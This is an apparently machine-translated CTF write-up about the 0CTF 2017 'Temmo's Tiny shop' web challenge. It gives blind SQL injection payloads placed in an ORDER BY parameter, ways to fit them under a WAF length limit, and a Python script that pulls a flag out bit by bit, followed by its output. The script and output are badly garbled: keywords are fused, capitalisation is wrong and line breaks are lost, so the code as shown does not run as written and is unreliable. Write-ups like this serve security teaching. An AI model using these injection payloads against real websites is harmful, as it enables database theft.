0CTF 2017 Some different ideas of the web

Batting practice participated in 0CTF 2017 and did some of the Topics. After a few days after the game, see online already have some well-written writeup, here write a batting practice of some different ideas.

Some nice writeup.

https://ctftime.org/event/402/tasks/http://www.melodia.pw/?p=889http://lorexxar.cn/2017/03/21/0ctf2017-web/

Temmo ' s Tiny shop

Batting practice look at the online writeup in Get hint, know flag of the table name after each byte of blasting flag, efficiency may be lower. This is the time of the batting practice game to think of a bit blasting method, for ascii, only consider 7bit, a fixed 7 requests per byte can be obtained.

Need to buy Erwin Schrodinger ' s cat and Brownie.

The first payload are:

 case (ASCII(substr (select(flag) from(ce63e444b0d049e9c899c9a0336b3c59)),1,1 ) div (mod) (2)) when (1) then (name)Else(price) End

Modified payload due to length limit (WAF, maximum 100 bytes):

if (ASCII(substr (select(flag) from(ce63e444b0d049e9c899c9a0336b3c59)),1,1 )) Div (mod) (2), name,price)

Since the length is too long, changing the price to 3 can also be Sorted.

if (ASCII(substr (select(flag) from(ce63e444b0d049e9c899c9a0336b3c59)), 1,1 )) Div (MOD) (2), name,3)

Note: the 3 here is not sorted by the 3rd column, which is different from the order by 3, but is the same as the order by ' 3 ', and does not have an order by effect (not knowing what the MySQL feature Is)

thus, the final script is:

ImportRequests
# code from HTTPS://WWW.CNBLOGS.COM/GO2BED/P/6607565.HTMLS=Requests. Session () Cookie= {'Phpsessid':' Yourcookie'} # Add your Cookieurl='http://202.120.7.197/app.php'True_str='"goods": [{"id": "5"'False_str='"goods": [{"id": "2"'order_by_template='if (ascii (substr (select (flag) from (ce63e444b0d049e9c899c9a0336b3c59),%d,1)) div (%d) mod (2), name,3)'Flag="' forPlace_indexinchXrange (1, 1000): Place_bin="'     forTimesinchXrange (6,-1,-1): Num= 2 * *times order_by= order_by_template%(place_index, Num) params= {'Action':'Search','keyword':"','Order': order_by} R= S.get (url, params=params, cookies=cookies)#Print R.content        ifTrue_strinchR.content:new_place_bin='1'        Else: New_place_bin='0'        Printnew_place_bin, Place_bin+=New_place_bin place= Chr (int (place_bin, 2)) Flag+= placePrintFlagif '}' inchflag: breakPrint '\n***** Get Flag * * * * *'PrintFlag

Operating Effect:

 1 1 0 0 1 1 0 F1 1 0 1 1 0 0 fl1 1 0 0 0 0 1 fla1 1 0 0 1 1 1 flag1 1 1 1 0 1 1 flag{1 1 1 0 0 1 0 flag{r0 1 1 0 1 0 0 flag{r41 1 0 0 0 1 1 flag{r4c1 1 0 0 1 0 1 Flag{r4ce1 0 1 1 1 1 1 flag{r4ce_1 1 0 0 0 1 1 flag{r4ce_c0 1 1 0 0 0 0 flag{  R4CE_C01 1 0 1 1 1 0 flag{r4ce_c0n1 1 0 0 1 0 0 flag{r4ce_c0nd1 1 0 1 0 0 1 flag{r4ce_c0ndi1 1 1 0 1 0 0 flag{r4ce_c0ndit1 1 0 1 0 0 1 flag{r4ce_c0nditi0 1 1 0 0 0 0 flag{r4ce_c0nditi01 1 0 1 1 1 0 flag{r4ce_c0nditi0n1 0 1 1 1 1 1 flag{r4ce_c0n  Diti0n_1 1 0 1 0 0 1 flag{r4ce_c0nditi0n_i0 1 1 0 1 0 1 flag{r4ce_c0nditi0n_i51 0 1 1 1 1 1 flag{r4ce_c0nditi0n_i5_1 1 0 0 1 0 1 flag{r4ce_c0nditi0n_i5_e1 1 1 1 0 0 0 flag{r4ce_c0nditi0n_i5_ex1 1 0 0 0 1 1 flag{r4ce_c0nditi0n_i5_exc1 1 0 1 0 0 1 FLAG{R4CE_C0NDITI0N_I5_EXCI1 1 1 0 1 0 0 flag{r4ce_c0nditi0n_i5_excit1 1 0 0 1 0 1 flag{r4ce_c0nditi0n_i5_excite1 1 0 0 1 0 0 flag{r4ce_c0nditi0n_i5_excited1 1 1 1 1 0 1 flag{r4ce_c0nditi0n_i5_excited}***** get flag *****flag{r4ce_c0nditi0n_i 5_excited} 

0CTF 2017 Some different ideas of the web